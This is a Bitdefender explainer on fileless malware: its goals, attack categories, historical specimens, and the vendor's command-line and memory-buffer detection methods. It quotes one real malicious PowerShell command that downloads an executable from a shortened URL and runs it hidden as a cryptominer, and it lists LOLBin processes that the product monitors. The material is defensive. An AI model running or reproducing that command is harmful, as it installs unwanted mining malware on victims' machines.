Bitdefender®

Fileless attacks

Hackers are increasingly turning to fileless attacks because they are 10 times more likely to succeed than file-based attacks.These fileless infections stand as proof of cybercriminals' resourcefulness and creativity.

What are fileless attacks?

A fileless attack, also known as a zero-footprint or macro attack, differs from traditional malware in that it doesn't need to install malicious software to infect a victim's machine. Instead, it takes advantage of existing vulnerabilities on a machine. It exists in a computer's RAM and uses common system tools to execute an attack by injecting malicious code into normally safe and trusted processes such as javaw.exe and iexplore.exe.

These attacks can gain control of computers without downloading any malicious files, hence the name. Fileless attacks are also referred to as memory-based or "living-off-the-land" attacks. An attacker can infiltrate and carry out objectives by taking advantage of vulnerable software that a typical end user would use daily.

Why do cybercriminals use fileless attacks?

Hackers are increasingly turning to fileless attacks because they are 10 times more likely to succeed than file-based attacks. These fileless infections stand as proof of cybercriminals' resourcefulness and creativity. In their attacks, hackers aim for:

- **Stealth** – the ability to avoid being detected by security products for as long as possible.
- **Privilege escalation** – the capacity to exploit a vulnerability that will give them administrative access to the system, so they can do whatever they want.
- **Information gathering** – to harvest as much data as possible about the victim and from the victim's computer, to be later used in other attacks.
- **Persistence** – the ability to keep the malware in the system, undetected, for the longest time possible.

How do fileless attacks work?

Fileless attacks begin like most other cyberattacks. Cybercriminals try to gain access to a computer system. They might try exploiting a security vulnerability in unpatched software, or try using a brute force attack to crack the password of a service account. A more common technique is sending out phishing emails that try to trick people into clicking a malicious link or opening a malicious attachment, such as a Microsoft Word document containing a macro.

Once the hackers gain access, they run commands or malware directly from the computer's RAM memory. They often take advantage of built-in system administration tools, such as Windows PowerShell or Task Scheduler, to run commands and malware. There are four main attack categories:

- **Memory-only threats**. These threats exploit vulnerabilities in Windows services to execute their payload directly in memory. Restarting a system infected by a memory-only threat disinfects it.
- **Fileless persistence methods**. In these attacks, even though the malicious payload is not loaded onto the hard disk, the infection remains even after the system is rebooted.
- **Dual-use tools attacks**. Attackers use legitimate Windows system tools and applications, but for malicious purposes, such as to gain credentials for target systems, or to send data back to them.
- **Non-Portable Executable (PE) file attacks**. This is a type of dual-use tool attack that involves both a script and a legitimate tool. These attacks frequently use PowerShell, WScript or CScript.

How did we get here?

Fileless malware infections appeared in August 2014, when the Poweliks Trojan made its debut. It was initially engineered to perform click-fraud, but it evolved into a registry-based threat. This specimen found its way into the system by exploiting a Microsoft Word vulnerability. It used PowerShell and JavaScript along with shellcode to jumpstart its in-memory execution.

Another fileless malware specimen that gained attention in 2015 was Kovter. In that incarnation, the Kovter's infection technique closely resembled that of Poweliks. Even when starting the infection with a malicious Windows executable, the specimen removed that file after storing obfuscated or encrypted artifacts in the registry. At least one of its variations maintained persistence by using a shortcut file that executed JavaScript. This script launched PowerShell and executed shellcode to launch a non-malicious application after injecting malicious code into it.

In mid-2016, the PowerSniff infection began with a Microsoft Word document with a malicious macro. The in-memory mechanics of this specimen resembled some aspects of Kovter and involved a PowerShell script that executed shellcode, which decoded and executed additional malicious payload, operating solely in memory. PowerSniff had the ability to temporarily save a malicious DLL to the file system.

In early 2017, another sophisticated attack, named POSHSPY, used the Windows Management Instrumentation (WMI) capabilities of the OS to maintain persistence and relied on PowerShell for its payload. The specimen had the ability to download executable files, which it would save to the file system.

How does Bitdefender protect you from fileless attacks?

Bitdefender uses the following technologies for detecting fileless attacks:

Command line

We are monitoring a list of processes that are known to be used in performing fileless attacks.

This list includes processes such as **`autoit.exe`**, **`bitsadmin.exe`**, **`cscript.exe`**, **`java.exe`**, **`javaw.exe`**, **`miprvse.exe`**, **`net.exe`**, **`netsh.exe`**, **`powershell.exe`**, **`powershell_ise.exe`**, **`py.exe`**, **`python.exe`**, **`regedit.exe`**, **`regsvr32.exe`**, **`rundll32.exe`**, **`schtasks.exe`**, and **`wscript.exe`**.

When a new process starts on the machine protected by Bitdefender technologies, the command-line is extracted and sent as a buffer to the scanning engines, augmenting the scanning context with information regarding the original process path and the parent process. The buffers identified as commands (cmd's), found in other file types, like LNK, JOB, BAT and PS1 are also scanned.

Buffer example:

```
\Device\HarddiskVolume1\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "New-Item -ItemType Directory -Force ($env:APPDATA+\'\\FastCh\\\'); &{(new-object System.Net.WebClient).DownloadFile(\'http://bit.ly/2nzJcoP\', ($env:APPDATA+\'\\FastCh\\CleanWork.exe\'))}; & {Start-Process -WindowStyle hidden $env:APPDATA\'\\FastCh\\CleanWork.exe\' \'-o f.pooling.cf:80 --nicehash --max-cpu-usage=20 --keepalive -B\'
```

The scanning flow

1. In a few cases, some specific pre-processing is performed. For example, the **`cmd.exe`** process ignores the Caret (^) character and therefore it is eliminated from the command line.
2. The command line is split in words/tokens, where one word/token represents a character string separated by space or quotes.
3. Each word is processed by a series of linear processing pipelines (tokenizer):
   a) If the word is a Base64 string, the tokenizer decodes and processes the string from the beginning, as it would be part of the command line.
   b) If the word is a string in quotes, it is processed once from inside out as an individual word, and then as a part of the command line.
   c) If the current word ends in, or contains (as appropriate or by preference) the string X, they pass it by to the next stage, which can be overcome only by the next word.
4. When the word reaches the final state, a flag is set and the tokenizer process starts over with the next word.
5. In the scanning process, we search for words or keywords sequences in each monitored process.
6. For each word or sequence of words, we set specific flags, as these words have a meaning: from specific process parameters to URLs. For example, the **`EncodedCommand`** word is a parameter of Powershell.
7. Once again, if a word is coded in Base64, it will be decoded and the result will be reintroduced in the process algorithm.
8. The heuristics are built from flags extracted from the above-mentioned tokenizer. They also can be combined with flags that refer to the parent process.

CodeBuffers

When scanning for file less attacks, we are also correlating information from other Bitdefender technologies, such as:

- Memory buffers detected by **Anti-Exploit**, following an exploitation method such as Return-Oriented Programming (ROP). For example, the buffers that contain executed shellcode outside Flash sandbox in browser memory.
- **Process Inspector** can detect never-before-seen malware by performing behavioural process analysis. For fileless attacks, we look for suspicious memory buffers detected by Process Inspector, as a result of code injections in remote processes and, in some cases, in the memory of the same source process. For example, we scan the buffer of the **`meterpreter`** reverse-shell executable that is commonly used in exploit frameworks, like MetaSploit.